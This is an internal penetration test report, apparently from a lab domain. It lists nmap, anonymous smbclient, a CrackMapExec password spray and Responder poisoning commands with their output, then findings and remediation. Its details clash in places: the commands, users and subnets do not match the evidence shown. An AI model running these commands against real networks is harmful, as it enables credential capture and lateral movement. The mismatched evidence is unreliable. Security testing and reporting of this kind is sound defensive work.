

1. Assessment Overview

Assessment Type: Internal penetration test

Standard: Aligned with OWASP Testing Guide and OWASP ASVS reporting practices

Scope Summary: Internal network segment (representative /24 range) including Windows domain services and SMB file-sharing services.

2. Attack Chain Summary

This section provides a high-level narrative of the attack chain, mapped to OWASP Testing Guide phases.

1. Information Gathering & Network Discovery (OTG-INFO-001)

Initial host and service discovery was performed to identify live systems and exposed services within the in-scope network segment.

2. Configuration & Deployment Management Testing (OTG-CONFIG-001)

SMB services were reviewed for misconfigurations such as anonymous access, weak authentication, and legacy protocols.

3. Authentication Testing (OTG-AUTHN-002)

Credential-based attacks were performed to identify weak or reused passwords and assess domain authentication hardening.

4. Session & Credential Exposure via Network Services (OTG-AUTHN / OTG-INP)

Network poisoning and credential interception techniques were used to identify insecure name resolution and credential exposure.

5. Authorization & Domain Enumeration (OTG-AUTHZ / OTG-IDENT)

Once valid credentials were obtained, domain resources were enumerated to assess lateral movement opportunities and privilege abuse.

Total Time to Full Compromise: < 4 hours

3. Detailed Attack Chain

3.1 Network Discovery (OWASP: Information Gathering)

Objective

Identify active hosts and exposed services within the target subnet.

Command Executed

```
nmap -sn 10.0.0.0/24
```

Result

Multiple responsive hosts were identified across the network range.

Evidence

- Network ping sweep results showing active systems.[1]

```
(kali@kali)~[Downloads]
$ nmap -sS -T4 10.0.0.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 04:41 EDT
Nmap scan report for 10.0.0.1
Host is up (0.28s latency).
All 1000 scanned ports on 10.0.0.1 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Nmap scan report for 10.0.0.5
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
111/tcp   open  rpcbind

Nmap scan report for 10.0.0.25
Host is up (0.27s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
```

- Comprehensive scan results with service versions and SMB security assessments.

```
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ nbstat: NetBIOS name: AFC-WS-2, NetBIOS user: <unknown>, NetBIOS MAC: 02:8e:fe:8a:bc:5d (unknown)
|_ smb2-security-mode:
|   3.1.1:
|     Message signing enabled but not required
|_ clock-skew: mean: -1s, deviation: 0s, median: -1s
|_ smb2-time:
|   date: 2025-08-29T09:14:46
|_ start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
- Hop 1 is the same as for 10.0.0.25
2 265.51 ms 10.0.0.35

Nmap scan report for 10.0.0.225
Host is up (0.27s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-29 09:13:59Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: AFC-RICHMOND.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?

```

3.2 SMB Enumeration (OWASP: Configuration & Deployment Management Testing)

Objective

Assess SMB exposure and identify misconfigurations, including anonymous access and share permissions.

Command Executed

```
smbclient //10.0.0.225/IPC$ -N
```

Result

Anonymous access to the `IPC$` share was possible without authentication, indicating an SMB misconfiguration.

Evidence

- SMB client connection showing accessible anonymous shares.[3]

```
(kali@kali)-[~/Downloads]
$ smbclient -L 10.0.0.225 -N
Anonymous login successful

      Sharename      Type      Comment
-----
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.0.0.225 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(kali@kali)-[~/Downloads]
$
```

3.3 Credential Attacks (OWASP: Authentication Testing)

Objective

Identify weak or guessable credentials for domain accounts and SMB services.

Command Executed

```
crackmapexec smb 192.168.216.0/24 -u fcastle -d MARVEL.local -p Password1
```

Result

Successful authentication was achieved using weak credentials, demonstrating ineffective password policy and credential hygiene.

Evidence

- CrackMapExec output showing successful SMB authentication.[4]

```
(kali@kali)~$ crackmapexec smb 10.0.0.0/24 -u wonderkid -d AFC-RICHMOND.local -p Password1
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing FTP protocol database
[*] Initializing SMB protocol database
[*] Initializing WINRM protocol database
[*] Initializing SSH protocol database
[*] Initializing RDP protocol database
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 10.0.0.35 445 AFC-WS-2 [*] Windows 10 / Server 2019 Build 19041 x64 (name:AFC-WS-2) (domain:AFC-RICHMOND.local) (signing:False) (SMBv1:False)
SMB 10.0.0.25 445 AFC-WS-1 [*] Windows 10 / Server 2019 Build 19041 x64 (name:AFC-WS-1) (domain:AFC-RICHMOND.local) (signing:False) (SMBv1:False)
SMB 10.0.0.35 445 AFC-WS-2 [+] AFC-RICHMOND.local\wonderkid:Password1
SMB 10.0.0.225 445 AFCR-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:AFCR-DC) (domain:AFC-RICHMOND.local) (signing:True) (SMBv1:False)
SMB 10.0.0.25 445 AFC-WS-1 [+] AFC-RICHMOND.local\wonderkid:Password1
SMB 10.0.0.225 445 AFCR-DC [+] AFC-RICHMOND.local\wonderkid:Password1

(kali@kali)~$ crackmapexec smb 10.0.0.0/24 -u wonderkid -d AFC-RICHMOND.local -p Password1
SMB 10.0.0.35 445 AFC-WS-2 [*] Windows 10 / Server 2019 Build 19041 x64 (name:AFC-WS-2) (domain:AFC-RICHMOND.local) (signing:False) (SMBv1:False)
SMB 10.0.0.25 445 AFC-WS-1 [*] Windows 10 / Server 2019 Build 19041 x64 (name:AFC-WS-1) (domain:AFC-RICHMOND.local) (signing:False) (SMBv1:False)
```

3.4 Network Traffic Analysis & Credential Interception (OWASP: Network Services Testing)

Objective

Determine whether name resolution and network traffic can be abused to capture credentials (e.g., LLMNR/NBT-NS poisoning).

Command Executed

```
sudo responder -I tun0 -dPv
```

Result

LLMNR / NBT-NS poisoning attempts were successfully executed, indicating that these protocols are enabled and may expose hashed credentials.

Evidence

- Responder output showing intercepted traffic and credential capture attempts.

4. Tools and Techniques (OWASP Mapping)

Primary Tools Used

- **Nmap** – Host discovery and service enumeration (Information Gathering).
- **smbclient** – SMB connectivity and share enumeration (Configuration & Deployment).
- **CrackMapExec** – Credential testing and SMB authentication validation (Authentication Testing).
- **Responder** – LLMNR/NBT-NS poisoning and credential interception (Network Services Testing).
- **Custom Scripts** – Domain enumeration and lateral movement (Authorization & Identity Management Testing).

Key Attack Vectors

1. **Unrestricted Network Scanning** – Lack of detection or blocking of internal host discovery.
 2. **Insecure SMB Configuration** – Anonymous access and weak hardening of SMB shares.
 3. **Weak Credentials** – Predictable password patterns and insufficient password policy enforcement.
 4. **Insecure Name Resolution (LLMNR/NBT-NS)** – Susceptibility to poisoning and credential harvesting.
 5. **Excessive Domain Access** – Accounts with broader access than required, facilitating lateral movement.
-

5. Timeline of Compromise

- **T+0 hours:** Network discovery initiated using Nmap.
- **T+1 hour:** Service enumeration and SMB exposure confirmed.
- **T+2 hours:** SMB misconfigurations and accessible shares identified.
- **T+3 hours:** Credential attacks successful and valid domain credentials obtained.
- **T+4 hours:** Domain resources enumerated and lateral movement validated.

Total Time to Full Compromise: < 4 hours

6. High-Level Risk Summary (OWASP-Aligned)

The findings above collectively demonstrate that:

- Weak internal segmentation and monitoring allow rapid host discovery.
- Misconfigured SMB shares increase the risk of unauthorized access to internal resources.

- Weak password policies and credential hygiene enable trivial compromise of domain accounts.
- Legacy name resolution protocols (LLMNR/NBT-NS) expose user credentials to interception.
- Once a single account is compromised, insufficient authorization controls enable lateral movement across multiple systems.

Remediation should focus on:

- Enforcing strong password policies and regular credential reviews.
- Hardening SMB configuration and removing anonymous access where not explicitly required.
- Disabling LLMNR and NBT-NS where possible and enforcing secure name resolution.
- Applying least-privilege access for domain accounts and monitoring authentication anomalies.

7. Executive Summary

This internal penetration test, conducted in alignment with the OWASP Testing Guide and OWASP ASVS reporting practices, demonstrated that a motivated attacker with network access can:

- Discover a large portion of the internal asset landscape within hours.
- Exploit insecure SMB configurations to gain unauthenticated or weakly authenticated access to internal resources.
- Leverage weak domain credentials to obtain valid network-level access.
- Abusively intercept credentials via legacy name resolution protocols (LLMNR/NBT-NS).
- Use compromised accounts to enumerate domain resources and pivot laterally across systems.

Business Impact (High level):

A successful replay of this attack chain could result in:

- Unauthorized access to sensitive internal data stored on SMB shares and domain-joined systems.
- Use of compromised domain accounts to access critical business applications.
- Loss of confidentiality and integrity of internal systems, potentially enabling further attacks such as ransomware or data exfiltration.

Overall, the environment exhibits **High** risk due to the combination of weak authentication controls, misconfigured services, and legacy protocols that expose credentials.

8. Findings Summary (OWASP-Aligned)

8.1 Findings Table

Finding ID	Title	OWASP Category	Risk Rating	Evidence Reference	Recommended Remediation (Summary)
F-01	Unrestricted Internal Network Discovery	OWASP OTG-INFO-001 (Information Gathering)	Medium	Nmap discovery and service scan results ([1], screenshots)	Implement internal network segmentation, host-based firewalls, and monitoring to detect and restrict large-scale scanning.
F-02	Insecure SMB Configuration and Anonymous Access	OWASP OTG-CONFIG-001 (Configuration & Deployment Management)	High	smbclient connection to //10.0.0.225/IPC\$ without credentials ([3], screenshots)	Disable anonymous SMB access where not strictly required, restrict share permissions, and enforce hardened SMB configuration baselines.
F-03	Weak Domain Credentials (Password1)	OWASP OTG-AUTHN-002 (Authentication Testing)	High	CrackMapExec output showing successful authentication for user fcastle ([4], screenshots)	Enforce strong password policies, implement password complexity and rotation, and monitor for authentication anomalies and brute-force activity.
F-04	LLMNR / NBT-NS Enabled and Susceptible to Poisoning	OWASP Network Services / Configuration Testing	High	Responder output capturing authentication attempts and	Disable LLMNR and NBT-NS where possible, enforce secure DNS-based

Finding ID	Title	OWASP Category	Risk Rating	Evidence Reference	Recommended Remediation (Summary)
				hashes (screenshots)	name resolution, and monitor for responder-like behavior on internal segments.
F-05	Excessive Domain Access Enabling Lateral Movement	OWASP OTG-AUTHZ / Identity & Access Management	High	Domain enumeration results showing broad access to systems and directory paths ([6], screenshots)	Apply least-privilege principles to domain accounts, regularly review group memberships and access rights, and monitor for unusual lateral authentication patterns.

8.2 Prioritization Guidance

High-priority (Immediate):

- Remediate weak passwords and enforce a strong password policy.
- Harden and restrict SMB services, especially removing anonymous access.
- Disable LLMNR and NBT-NS where feasible and enforce secure DNS-based name resolution.

Medium-priority (Short term):

- Implement or improve internal segmentation and monitoring for scanning and lateral movement.
- Review and tighten domain group memberships and access to sensitive systems.

Ongoing (Long term):

- Establish recurring internal penetration testing and security assessments aligned with OWASP practices.
- Continuously monitor authentication logs and network telemetry for indicators of credential abuse and internal reconnaissance.